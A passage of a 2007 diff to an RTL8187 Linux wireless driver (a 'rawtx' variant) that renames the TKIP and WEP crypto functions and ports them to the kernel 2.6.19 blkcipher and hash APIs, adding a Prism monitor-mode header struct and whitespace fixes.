(_priv->tx_tfm_michael) + crypto_free_hash(_priv->tx_tfm_michael); + if (_priv->tx_tfm_arc4) + crypto_free_blkcipher(_priv->tx_tfm_arc4); + if (_priv->rx_tfm_michael) + crypto_free_hash(_priv->rx_tfm_michael); + if (_priv->rx_tfm_arc4) + crypto_free_blkcipher(_priv->rx_tfm_arc4); + } +#endif kfree(priv); } @@ -200,7 +276,7 @@ #define PHASE1_LOOP_COUNT 8 -static void tkip_mixing_phase1(u16 *TTAK, const u8 *TK, const u8 *TA, u32 IV32) +static void tkip_mixing_phase1_rtl7(u16 *TTAK, const u8 *TK, const u8 *TA, u32 IV32) { int i, j; @@ -222,7 +298,7 @@ } -static void tkip_mixing_phase2(u8 *WEPSeed, const u8 *TK, const u16 *TTAK, +static void tkip_mixing_phase2_rtl7(u8 *WEPSeed, const u8 *TK, const u16 *TTAK, u16 IV16) { /* Make temporary area overlap WEP seed so that the final copy can be @@ -268,7 +344,7 @@ #endif } -static int ieee80211_tkip_encrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_tkip_encrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_tkip_data *tkey = priv; int len; @@ -276,6 +352,9 @@ struct ieee80211_hdr *hdr; u32 crc; struct scatterlist sg; +#if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,19)) + struct blkcipher_desc desc = { .tfm = tkey->tx_tfm_arc4 }; +#endif if (skb_headroom(skb) < 8 || skb_tailroom(skb) < 4 || skb->len < hdr_len) @@ -283,11 +362,11 @@ hdr = (struct ieee80211_hdr *) skb->data; if (!tkey->tx_phase1_done) { - tkip_mixing_phase1(tkey->tx_ttak, tkey->key, hdr->addr2, + tkip_mixing_phase1_rtl7(tkey->tx_ttak, tkey->key, hdr->addr2, tkey->tx_iv32); tkey->tx_phase1_done = 1; } - tkip_mixing_phase2(rc4key, tkey->key, tkey->tx_ttak, tkey->tx_iv16); + tkip_mixing_phase2_rtl7(rc4key, tkey->key, tkey->tx_ttak, tkey->tx_iv16); len = skb->len - hdr_len; pos = skb_push(skb, 8); @@ -310,11 +389,19 @@ icv[2] = crc >> 16; icv[3] = crc >> 24; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_setkey(tkey->tfm_arc4, rc4key, 16); +#else + crypto_blkcipher_setkey(tkey->tx_tfm_arc4, rc4key, 16); +#endif sg.page = virt_to_page(pos); sg.offset = offset_in_page(pos); sg.length = len + 4; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_encrypt(tkey->tfm_arc4, &sg, &sg, len + 4); +#else + crypto_blkcipher_encrypt(&desc, &sg, &sg, len + 4); +#endif tkey->tx_iv16++; if (tkey->tx_iv16 == 0) { @@ -325,7 +412,7 @@ return 0; } -static int ieee80211_tkip_decrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_tkip_decrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_tkip_data *tkey = priv; u8 rc4key[16]; @@ -337,6 +424,9 @@ u32 crc; struct scatterlist sg; int plen; +#if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,19)) + struct blkcipher_desc desc = { .tfm = tkey->rx_tfm_arc4 }; +#endif if (skb->len < hdr_len + 8 + 4) return -1; @@ -382,18 +472,26 @@ } if (iv32 != tkey->rx_iv32 || !tkey->rx_phase1_done) { - tkip_mixing_phase1(tkey->rx_ttak, tkey->key, hdr->addr2, iv32); + tkip_mixing_phase1_rtl7(tkey->rx_ttak, tkey->key, hdr->addr2, iv32); tkey->rx_phase1_done = 1; } - tkip_mixing_phase2(rc4key, tkey->key, tkey->rx_ttak, iv16); + tkip_mixing_phase2_rtl7(rc4key, tkey->key, tkey->rx_ttak, iv16); plen = skb->len - hdr_len - 12; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_setkey(tkey->tfm_arc4, rc4key, 16); +#else + crypto_blkcipher_setkey(tkey->rx_tfm_arc4, rc4key, 16); +#endif sg.page = virt_to_page(pos); sg.offset = offset_in_page(pos); sg.length = plen + 4; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_decrypt(tkey->tfm_arc4, &sg, &sg, plen + 4); +#else + crypto_blkcipher_decrypt(&desc, &sg, &sg, plen + 4); +#endif crc = ~crc32_le(~0, pos, plen); icv[0] = crc; @@ -427,13 +525,22 @@ return keyidx; } - -static int michael_mic(struct ieee80211_tkip_data *tkey, u8 *key, u8 *hdr, +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) +static int michael_mic_rtl7(struct ieee80211_tkip_data *tkey, u8 *key, u8 *hdr, u8 *data, size_t data_len, u8 *mic) { struct scatterlist sg[2]; if (tkey->tfm_michael == NULL) { +#else +static int michael_mic_rtl7(struct crypto_hash *tfm_michael, u8 *key, u8 *hdr, + u8 *data, size_t data_len, u8 *mic) +{ + struct hash_desc desc; + struct scatterlist sg[2]; + + if (tfm_michael == NULL) { +#endif printk(KERN_WARNING "michael_mic: tfm_michael == NULL\n"); return -1; } @@ -445,15 +552,24 @@ sg[1].offset = offset_in_page(data); sg[1].length = data_len; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) crypto_digest_init(tkey->tfm_michael); crypto_digest_setkey(tkey->tfm_michael, key, 8); crypto_digest_update(tkey->tfm_michael, sg, 2); crypto_digest_final(tkey->tfm_michael, mic); return 0; +#else + if (crypto_hash_setkey(tfm_michael, key, 8)) + return -1; + + desc.tfm = tfm_michael; + desc.flags = 0; + return crypto_hash_digest(&desc, sg, data_len + 16, mic); +#endif } -static void michael_mic_hdr(struct sk_buff *skb, u8 *hdr) +static void michael_mic_hdr_rtl7(struct sk_buff *skb, u8 *hdr) { struct ieee80211_hdr *hdr11; @@ -483,7 +599,7 @@ } -static int ieee80211_michael_mic_add(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_michael_mic_add_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_tkip_data *tkey = priv; u8 *pos; @@ -495,18 +611,24 @@ return -1; } - michael_mic_hdr(skb, tkey->tx_hdr); + michael_mic_hdr_rtl7(skb, tkey->tx_hdr); pos = skb_put(skb, 8); - if (michael_mic(tkey, &tkey->key[16], tkey->tx_hdr, +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) + if (michael_mic_rtl7(tkey, &tkey->key[16], tkey->tx_hdr, skb->data + hdr_len, skb->len - 8 - hdr_len, pos)) return -1; +#else + if (michael_mic_rtl7(tkey->tx_tfm_michael, &tkey->key[16], tkey->tx_hdr, + skb->data + hdr_len, skb->len - 8 - hdr_len, pos)) + return -1; +#endif return 0; } #if WIRELESS_EXT >= 18 -static void ieee80211_michael_mic_failure(struct net_device *dev, +static void ieee80211_michael_mic_failure_rtl7(struct net_device *dev, struct ieee80211_hdr *hdr, int keyidx) { @@ -527,7 +649,7 @@ wireless_send_event(dev, IWEVMICHAELMICFAILURE, &wrqu, (char *) &ev); } #elif WIRELESS_EXT >= 15 -static void ieee80211_michael_mic_failure(struct net_device *dev, +static void ieee80211_michael_mic_failure_rtl7(struct net_device *dev, struct ieee80211_hdr *hdr, int keyidx) { @@ -543,7 +665,7 @@ wireless_send_event(dev, IWEVCUSTOM, &wrqu, buf); } #else /* WIRELESS_EXT >= 15 */ -static inline void ieee80211_michael_mic_failure(struct net_device *dev, +static inline void ieee80211_michael_mic_failure_rtl7(struct net_device *dev, struct ieee80211_hdr *hdr, int keyidx) { @@ -551,7 +673,7 @@ #endif /* WIRELESS_EXT >= 15 */ -static int ieee80211_michael_mic_verify(struct sk_buff *skb, int keyidx, +static int ieee80211_michael_mic_verify_rtl7(struct sk_buff *skb, int keyidx, int hdr_len, void *priv) { struct ieee80211_tkip_data *tkey = priv; @@ -560,10 +682,16 @@ if (!tkey->key_set) return -1; - michael_mic_hdr(skb, tkey->rx_hdr); - if (michael_mic(tkey, &tkey->key[24], tkey->rx_hdr, + michael_mic_hdr_rtl7(skb, tkey->rx_hdr); +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) + if (michael_mic_rtl7(tkey, &tkey->key[24], tkey->rx_hdr, skb->data + hdr_len, skb->len - 8 - hdr_len, mic)) return -1; +#else + if (michael_mic_rtl7(tkey->rx_tfm_michael, &tkey->key[24], tkey->rx_hdr, + skb->data + hdr_len, skb->len - 8 - hdr_len, mic)) + return -1; +#endif if (memcmp(mic, skb->data + skb->len - 8, 8) != 0) { struct ieee80211_hdr *hdr; hdr = (struct ieee80211_hdr *) skb->data; @@ -572,7 +700,7 @@ skb->dev ? skb->dev->name : "N/A", MAC_ARG(hdr->addr2), keyidx); if (skb->dev) - ieee80211_michael_mic_failure(skb->dev, hdr, keyidx); + ieee80211_michael_mic_failure_rtl7(skb->dev, hdr, keyidx); tkey->dot11RSNAStatsTKIPLocalMICFailures++; return -1; } @@ -588,18 +716,33 @@ } -static int ieee80211_tkip_set_key(void *key, int len, u8 *seq, void *priv) +static int ieee80211_tkip_set_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct ieee80211_tkip_data *tkey = priv; int keyidx; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) struct crypto_tfm *tfm = tkey->tfm_michael; struct crypto_tfm *tfm2 = tkey->tfm_arc4; +#else + struct crypto_hash *tfm = tkey->tx_tfm_michael; + struct crypto_blkcipher *tfm2 = tkey->tx_tfm_arc4; + struct crypto_hash *tfm3 = tkey->rx_tfm_michael; + struct crypto_blkcipher *tfm4 = tkey->rx_tfm_arc4; +#endif keyidx = tkey->key_idx; memset(tkey, 0, sizeof(*tkey)); tkey->key_idx = keyidx; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) tkey->tfm_michael = tfm; tkey->tfm_arc4 = tfm2; +#else + tkey->tx_tfm_michael = tfm; + tkey->tx_tfm_arc4 = tfm2; + tkey->rx_tfm_michael = tfm3; + tkey->rx_tfm_arc4 = tfm4; +#endif + if (len == TKIP_KEY_LEN) { memcpy(tkey->key, key, TKIP_KEY_LEN); tkey->key_set = 1; @@ -618,7 +761,7 @@ } -static int ieee80211_tkip_get_key(void *key, int len, u8 *seq, void *priv) +static int ieee80211_tkip_get_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct ieee80211_tkip_data *tkey = priv; @@ -648,7 +791,7 @@ } -static char * ieee80211_tkip_print_stats(char *p, void *priv) +static char * ieee80211_tkip_print_stats_rtl7(char *p, void *priv) { struct ieee80211_tkip_data *tkip = priv; p += sprintf(p, "key[%d] alg=TKIP key_set=%d " @@ -675,34 +818,34 @@ } -static struct ieee80211_crypto_ops ieee80211_crypt_tkip = { +static struct ieee80211_crypto_ops ieee80211_crypt_tkip_rtl7 = { .name = "TKIP", - .init = ieee80211_tkip_init, - .deinit = ieee80211_tkip_deinit, - .encrypt_mpdu = ieee80211_tkip_encrypt, - .decrypt_mpdu = ieee80211_tkip_decrypt, - .encrypt_msdu = ieee80211_michael_mic_add, - .decrypt_msdu = ieee80211_michael_mic_verify, - .set_key = ieee80211_tkip_set_key, - .get_key = ieee80211_tkip_get_key, - .print_stats = ieee80211_tkip_print_stats, + .init = ieee80211_tkip_init_rtl7, + .deinit = ieee80211_tkip_deinit_rtl7, + .encrypt_mpdu = ieee80211_tkip_encrypt_rtl7, + .decrypt_mpdu = ieee80211_tkip_decrypt_rtl7, + .encrypt_msdu = ieee80211_michael_mic_add_rtl7, + .decrypt_msdu = ieee80211_michael_mic_verify_rtl7, + .set_key = ieee80211_tkip_set_key_rtl7, + .get_key = ieee80211_tkip_get_key_rtl7, + .print_stats = ieee80211_tkip_print_stats_rtl7, .extra_prefix_len = 4 + 4, /* IV + ExtIV */ .extra_postfix_len = 8 + 4, /* MIC + ICV */ .owner = THIS_MODULE, }; -static int __init ieee80211_crypto_tkip_init(void) +static int __init ieee80211_crypto_tkip_init_rtl7(void) { - return ieee80211_register_crypto_ops(&ieee80211_crypt_tkip); + return ieee80211_register_crypto_ops_rtl7(&ieee80211_crypt_tkip_rtl7); } -static void __exit ieee80211_crypto_tkip_exit(void) +static void __exit ieee80211_crypto_tkip_exit_rtl7(void) { - ieee80211_unregister_crypto_ops(&ieee80211_crypt_tkip); + ieee80211_unregister_crypto_ops_rtl7(&ieee80211_crypt_tkip_rtl7); } -module_init(ieee80211_crypto_tkip_init); -module_exit(ieee80211_crypto_tkip_exit); +module_init(ieee80211_crypto_tkip_init_rtl7); +module_exit(ieee80211_crypto_tkip_exit_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt_wep.c rtl8187_rawtx/ieee80211/ieee80211_crypt_wep.c --- rtl8187_orig/ieee80211/ieee80211_crypt_wep.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_crypt_wep.c 2007-07-13 01:46:05.000000000 +0200 @@ -9,7 +9,6 @@ * more details. */ -#include #include #include #include @@ -18,13 +17,24 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" #include -#include #include +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + #include +#else + #include +#endif + MODULE_AUTHOR("Jouni Malinen"); MODULE_DESCRIPTION("Host AP crypt: WEP"); MODULE_LICENSE("GPL"); @@ -36,11 +46,16 @@ u8 key[WEP_KEY_LEN + 1]; u8 key_len; u8 key_idx; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) struct crypto_tfm *tfm; +#else + struct crypto_blkcipher *rx_tfm; + struct crypto_blkcipher *tx_tfm; +#endif }; -static void * prism2_wep_init(int keyidx) +static void * prism2_wep_init_rtl7(int keyidx) { struct prism2_wep_data *priv; @@ -50,13 +65,30 @@ memset(priv, 0, sizeof(*priv)); priv->key_idx = keyidx; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) priv->tfm = crypto_alloc_tfm("arc4", 0); if (priv->tfm == NULL) { printk(KERN_DEBUG "ieee80211_crypt_wep: could not allocate " "crypto API arc4\n"); goto fail; } +#else + priv->tx_tfm = crypto_alloc_blkcipher("ecb(arc4)", 0, CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->tx_tfm)) { + printk(KERN_DEBUG "ieee80211_crypt_wep: could not allocate " + "crypto API arc4\n"); + priv->tx_tfm = NULL; + goto fail; + } + priv->rx_tfm = crypto_alloc_blkcipher("ecb(arc4)", 0, CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->rx_tfm)) { + printk(KERN_DEBUG "ieee80211_crypt_wep: could not allocate " + "crypto API arc4\n"); + priv->rx_tfm = NULL; + goto fail; + } +#endif /* start WEP IV from a random value */ get_random_bytes(&priv->iv, 4); @@ -64,19 +96,35 @@ fail: if (priv) { +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) if (priv->tfm) crypto_free_tfm(priv->tfm); +#else + if (priv->tx_tfm) + crypto_free_blkcipher(priv->tx_tfm); + if (priv->rx_tfm) + crypto_free_blkcipher(priv->rx_tfm); +#endif kfree(priv); } return NULL; } -static void prism2_wep_deinit(void *priv) +static void prism2_wep_deinit_rtl7(void *priv) { struct prism2_wep_data *_priv = priv; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) if (_priv && _priv->tfm) crypto_free_tfm(_priv->tfm); +#else + if (_priv) { + if (_priv->tx_tfm) + crypto_free_blkcipher(_priv->tx_tfm); + if (_priv->rx_tfm) + crypto_free_blkcipher(_priv->rx_tfm); + } +#endif kfree(priv); } @@ -87,13 +135,16 @@ * * WEP frame payload: IV + TX key idx, RC4(data), ICV = RC4(CRC32(data)) */ -static int prism2_wep_encrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int prism2_wep_encrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct prism2_wep_data *wep = priv; u32 crc, klen, len; u8 key[WEP_KEY_LEN + 3]; u8 *pos, *icv; struct scatterlist sg; +#if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,19)) + struct blkcipher_desc desc = { .tfm = wep->tx_tfm }; +#endif if (skb_headroom(skb) < 4 || skb_tailroom(skb) < 4 || skb->len < hdr_len) @@ -134,13 +185,21 @@ icv[2] = crc >> 16; icv[3] = crc >> 24; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_setkey(wep->tfm, key, klen); +#else + crypto_blkcipher_setkey(wep->tx_tfm, key, klen); +#endif sg.page = virt_to_page(pos); sg.offset = offset_in_page(pos); sg.length = len + 4; - crypto_cipher_encrypt(wep->tfm, &sg, &sg, len + 4); +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) + crypto_cipher_encrypt(wep->tfm, &sg, &sg, len + 4); return 0; +#else + return crypto_blkcipher_encrypt(&desc, &sg, &sg, len + 4); +#endif } @@ -151,13 +210,16 @@ * Returns 0 if frame was decrypted successfully and ICV was correct and -1 on * failure. If frame is OK, IV and ICV will be removed. */ -static int prism2_wep_decrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int prism2_wep_decrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct prism2_wep_data *wep = priv; u32 crc, klen, plen; u8 key[WEP_KEY_LEN + 3]; u8 keyidx, *pos, icv[4]; struct scatterlist sg; +#if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,19)) + struct blkcipher_desc desc = { .tfm = wep->rx_tfm }; +#endif if (skb->len < hdr_len + 8) return -1; @@ -178,11 +240,22 @@ /* Apply RC4 to data and compute CRC32 over decrypted data */ plen = skb->len - hdr_len - 8; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_setkey(wep->tfm, key, klen); +#else + crypto_blkcipher_setkey(wep->rx_tfm, key, klen); +#endif + sg.page = virt_to_page(pos); sg.offset = offset_in_page(pos); sg.length = plen + 4; + +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_decrypt(wep->tfm, &sg, &sg, plen + 4); +#else + if(crypto_blkcipher_decrypt(&desc, &sg, &sg, plen + 4)) + return -7; +#endif crc = ~crc32_le(~0, pos, plen); icv[0] = crc; @@ -203,7 +276,7 @@ } -static int prism2_wep_set_key(void *key, int len, u8 *seq, void *priv) +static int prism2_wep_set_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct prism2_wep_data *wep = priv; @@ -217,7 +290,7 @@ } -static int prism2_wep_get_key(void *key, int len, u8 *seq, void *priv) +static int prism2_wep_get_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct prism2_wep_data *wep = priv; @@ -230,7 +303,7 @@ } -static char * prism2_wep_print_stats(char *p, void *priv) +static char * prism2_wep_print_stats_rtl7(char *p, void *priv) { struct prism2_wep_data *wep = priv; p += sprintf(p, "key[%d] alg=WEP len=%d\n", @@ -239,34 +312,34 @@ } -static struct ieee80211_crypto_ops ieee80211_crypt_wep = { +static struct ieee80211_crypto_ops ieee80211_crypt_wep_rtl7 = { .name = "WEP", - .init = prism2_wep_init, - .deinit = prism2_wep_deinit, - .encrypt_mpdu = prism2_wep_encrypt, - .decrypt_mpdu = prism2_wep_decrypt, + .init = prism2_wep_init_rtl7, + .deinit = prism2_wep_deinit_rtl7, + .encrypt_mpdu = prism2_wep_encrypt_rtl7, + .decrypt_mpdu = prism2_wep_decrypt_rtl7, .encrypt_msdu = NULL, .decrypt_msdu = NULL, - .set_key = prism2_wep_set_key, - .get_key = prism2_wep_get_key, - .print_stats = prism2_wep_print_stats, + .set_key = prism2_wep_set_key_rtl7, + .get_key = prism2_wep_get_key_rtl7, + .print_stats = prism2_wep_print_stats_rtl7, .extra_prefix_len = 4, /* IV */ .extra_postfix_len = 4, /* ICV */ .owner = THIS_MODULE, }; -static int __init ieee80211_crypto_wep_init(void) +static int __init ieee80211_crypto_wep_init_rtl7(void) { - return ieee80211_register_crypto_ops(&ieee80211_crypt_wep); + return ieee80211_register_crypto_ops_rtl7(&ieee80211_crypt_wep_rtl7); } -static void __exit ieee80211_crypto_wep_exit(void) +static void __exit ieee80211_crypto_wep_exit_rtl7(void) { - ieee80211_unregister_crypto_ops(&ieee80211_crypt_wep); + ieee80211_unregister_crypto_ops_rtl7(&ieee80211_crypt_wep_rtl7); } -module_init(ieee80211_crypto_wep_init); -module_exit(ieee80211_crypto_wep_exit); +module_init(ieee80211_crypto_wep_init_rtl7); +module_exit(ieee80211_crypto_wep_exit_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211.h rtl8187_rawtx/ieee80211/ieee80211.h --- rtl8187_orig/ieee80211/ieee80211.h 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211.h 2007-07-13 01:46:10.000000000 +0200 @@ -120,7 +120,7 @@ static inline unsigned long msleep_interruptible_rtl(unsigned int msecs) { unsigned long timeout = MSECS(msecs) + 1; - + while (timeout) { set_current_state(TASK_UNINTERRUPTIBLE); timeout = schedule_timeout(timeout); @@ -156,6 +156,22 @@ struct list_head list; }; +#define LWNG_CAP_DID_BASE (4 | (1 << 6)) /* section 4, group 1 */ +/* ARPHRD_IEEE80211_PRISM uses a bloated version of Prism2 RX frame header + * (from linux-wlan-ng) */ +struct linux_wlan_ng_val { + u32 did; + u16 status, len; + u32 data; +} __attribute__ ((packed)); + +struct linux_wlan_ng_prism_hdr { + u32 msgcode, msglen; + char devname[16]; + struct linux_wlan_ng_val hosttime, mactime, channel, rssi, sq, signal, + noise, rate, istx, frmlen; +} __attribute__ ((packed)); + struct ieee80211_hdr { u16 frame_ctl; u16 duration_id; @@ -798,7 +814,7 @@ /* the card is not linked at all */ IEEE80211_NOLINK = 0, - + /* IEEE80211_ASSOCIATING* are for BSS client mode * the driver shall not perform RX filtering unless * the state is LINKED. @@ -806,31 +822,31 @@ * defaults to NOLINK for ALL the other states (including * LINKED_SCANNING) */ - + /* the association procedure will start (wq scheduling)*/ IEEE80211_ASSOCIATING, IEEE80211_ASSOCIATING_RETRY, - + /* the association procedure is sending AUTH request*/ IEEE80211_ASSOCIATING_AUTHENTICATING, - + /* the association procedure has successfully authentcated * and is sending association request */ IEEE80211_ASSOCIATING_AUTHENTICATED, - + /* the link is ok. the card associated to a BSS or linked * to a ibss cell or acting as an AP and creating the bss */ IEEE80211_LINKED, - + /* same as LINKED, but the driver shall apply RX filter * rules as we are in NO_LINK mode. As the card is still * logically linked, but it is doing a syncro site survey * then it will be back to LINKED state. */ IEEE80211_LINKED_SCANNING, - + }; #define DEFAULT_MAX_SCAN_AGE (15 * HZ) @@ -840,14 +856,14 @@ #if (LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,11)) -extern inline int is_multicast_ether_addr(const u8 *addr) +extern inline int is_multicast_ether_addr_rtl7(const u8 *addr) { return ((addr[0] != 0xff) && (0x01 & addr[0])); } #endif #if (LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,13)) -extern inline int is_broadcast_ether_addr(const u8 *addr) +extern inline int is_broadcast_ether_addr_rtl7(const u8 *addr) { return ((addr[0] == 0xff) && (addr[1] == 0xff) && (addr[2] == 0xff) && \ (addr[3] == 0xff) && (addr[4] == 0xff) && (addr[5] == 0xff)); @@ -870,7 +886,7 @@ struct net_device_stats stats; struct ieee80211_stats ieee_stats; struct ieee80211_softmac_stats softmac_stats; - + /* Probe / Beacon management */ struct list_head network_free_list; struct list_head network_list; @@ -881,7 +897,7 @@ int iw_mode; /* operating mode (IW_MODE_*) */ spinlock_t lock; - + int tx_headroom; /* Set to size of any additional room needed at front * of allocated Tx SKBs */ u32 config; @@ -924,11 +940,11 @@ * ad-hoc is a mixture ;-). * Note that in infrastructure mode, even when not associated, * fields bssid and essid may be valid (if wpa_set and essid_set - * are true) as thy carry the value set by the user via iwconfig + * are true) as thy carry the value set by the user via iwconfig */ struct ieee80211_network current_network; - + enum ieee80211_state state; int short_slot; @@ -936,33 +952,33 @@ int modulation; /* CCK, OFDM */ int freq_band; /* 2.4Ghz, 5.2Ghz, Mixed */ int abg_true; /* ABG flag */ - - /* used for forcing the ibss workqueue to terminate + + /* used for forcing the ibss workqueue to terminate * without wait for the syncro scan to terminate */ - short sync_scan_hurryup; - + short sync_scan_hurryup; + /* map of allowed channels. 0 is dummy */ // FIXME: remeber to default to a basic channel plan depending of the PHY type int channel_map[MAX_CHANNEL_NUMBER+1]; - + int rate; /* current rate */ int basic_rate; //FIXME: pleace callback, see if redundant with softmac_features short active_scan; - + /* this contains flags for selectively enable softmac support */ u16 softmac_features; - + /* if the sequence control field is not filled by HW */ u16 seq_ctrl; - + /* association procedure transaction sequence number */ u16 associate_seq; - + /* AID for RTXed association responses */ u16 assoc_id; - + /* power save mode related*/ short ps; short sta_sleep; @@ -970,147 +986,153 @@ struct tasklet_struct ps_task; u32 ps_th; u32 ps_tl; - + short raw_tx; /* used if IEEE_SOFTMAC_TX_QUEUE is set */ short queue_stop; short scanning; short proto_started; - + struct semaphore wx_sem; struct semaphore scan_sem; - - spinlock_t mgmt_tx_lock; + + spinlock_t mgmt_tx_lock; spinlock_t beacon_lock; short beacon_txing; short wap_set; short ssid_set; - + /* for discarding duplicated packets in IBSS */ struct list_head ibss_mac_hash[IEEE_IBSS_MAC_HASH_SIZE]; - + /* for discarding duplicated packets in BSS */ u16 last_seq_num; u16 last_frag_num; unsigned long last_packet_time; - + /* for PS mode */ unsigned long last_rx_ps_time; - + /* used if IEEE_SOFTMAC_SINGLE_QUEUE is set */ struct sk_buff *mgmt_queue_ring[MGMT_QUEUE_NUM]; int mgmt_queue_head; int mgmt_queue_tail; - - + + /* used if IEEE_SOFTMAC_TX_QUEUE is set */ struct tx_pending_t tx_pending; - + /* used if IEEE_SOFTMAC_ASSOCIATE is set */ struct timer_list associate_timer; /* used if IEEE_SOFTMAC_BEACONS is set */ struct timer_list beacon_timer; - + struct work_struct associate_complete_wq; + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) + struct delayed_work associate_retry_wq; + struct delayed_work softmac_scan_wq; +#else struct work_struct associate_retry_wq; + struct work_struct softmac_scan_wq; +#endif struct work_struct start_ibss_wq; struct work_struct associate_procedure_wq; - struct work_struct softmac_scan_wq; struct work_struct wx_sync_scan_wq; - + struct workqueue_struct *wq; /* Callback functions */ void (*set_security)(struct net_device *dev, struct ieee80211_security *sec); - + /* Used to TX data frame by using txb structs. * this is not used if in the softmac_features * is set the flag IEEE_SOFTMAC_TX_QUEUE */ int (*hard_start_xmit)(struct ieee80211_txb *txb, struct net_device *dev); - + int (*reset_port)(struct net_device *dev); - /* Softmac-generated frames (mamagement) are TXed via this - * callback if the flag IEEE_SOFTMAC_SINGLE_QUEUE is - * not set. As some cards may have different HW queues that + /* Softmac-generated frames (mamagement) are TXed via this + * callback if the flag IEEE_SOFTMAC_SINGLE_QUEUE is + * not set. As some cards may have different HW queues that * one might want to use for data and management frames * the option to have two callbacks might be useful. * This fucntion can't sleep. */ int (*softmac_hard_start_xmit)(struct sk_buff *skb, struct net_device *dev); - + /* used instead of hard_start_xmit (not softmac_hard_start_xmit) * if the IEEE_SOFTMAC_TX_QUEUE feature is used to TX data * frames. I the option IEEE_SOFTMAC_SINGLE_QUEUE is also set * then also management frames are sent via this callback. * This function can't sleep. - */ + */ void (*softmac_data_hard_start_xmit)(struct sk_buff *skb, struct net_device *dev,int rate); /* stops the HW queue for DATA frames. Useful to avoid * waste time to TX data frame when we are reassociating * This function can sleep. - */ + */ void (*data_hard_stop)(struct net_device *dev); - + /* OK this is complementar to data_poll_hard_stop */ void (*data_hard_resume)(struct net_device *dev); - + /* ask to the driver to retune the radio . * This function can sleep. the driver should ensure * the radio has been swithced before return. */ void (*set_chan)(struct net_device *dev,short ch); - + /* These are not used if the ieee stack takes care of - * scanning (IEEE_SOFTMAC_SCAN feature set). + * scanning (IEEE_SOFTMAC_SCAN feature set). * In this case only the set_chan is used. * * The syncro version is similar to the start_scan but * does not return until all channels has been scanned. - * this is called in user context and should sleep, + * this is called in user context and should sleep, * it is called in a work_queue when swithcing to ad-hoc mode - * or in behalf of iwlist scan when the card is associated - * and root user ask for a scan. + * or in behalf of iwlist scan when the card is associated + * and root user ask for a scan. * the fucntion stop_scan should stop both the syncro and * background scanning and can sleep. - * The fucntion start_scan should initiate the background + * The fucntion start_scan should initiate the background * scanning and can't sleep. - */ + */ void (*scan_syncro)(struct net_device *dev); void (*start_scan)(struct net_device *dev); void (*stop_scan)(struct net_device *dev); - + /* indicate the driver that the link state is changed * for example it may indicate the card is associated now. - * Driver might be interested in this to apply RX filter - * rules or simply light the LINK led + * Driver might be interested in this to apply RX filter + * rules or simply light the LINK led */ void (*link_change)(struct net_device *dev); - + /* these two function indicates to the HW when to start - * and stop to send beacons. This is used when the + * and stop to send beacons. This is used when the * IEEE_SOFTMAC_BEACONS is not set. For now the * stop_send_bacons is NOT guaranteed to be called only * after start_send_beacons. */ void (*start_send_beacons) (struct net_device *dev); void (*stop_send_beacons) (struct net_device *dev); - + /* power save mode related */ void (*sta_wake_up) (struct net_device *dev); void (*ps_request_tx_ack) (struct net_device *dev); void (*enter_sleep_state) (struct net_device *dev, u32 th, u32 tl); short (*ps_is_queue_empty) (struct net_device *dev); - - + + /* This must be the last item so that it points to the data * allocated beyond this structure by alloc_ieee80211 */ u8 priv[0]; @@ -1148,18 +1170,18 @@ #define IEEE_SOFTMAC_SINGLE_QUEUE (1<<8) /* Generate beacons. The stack will enqueue beacons - * to the card - */ + * to the card + */ #define IEEE_SOFTMAC_BEACONS (1<<6) -extern inline void *ieee80211_priv(struct net_device *dev) +extern inline void *ieee80211_priv_rtl7(struct net_device *dev) { return ((struct ieee80211_device *)netdev_priv(dev))->priv; } 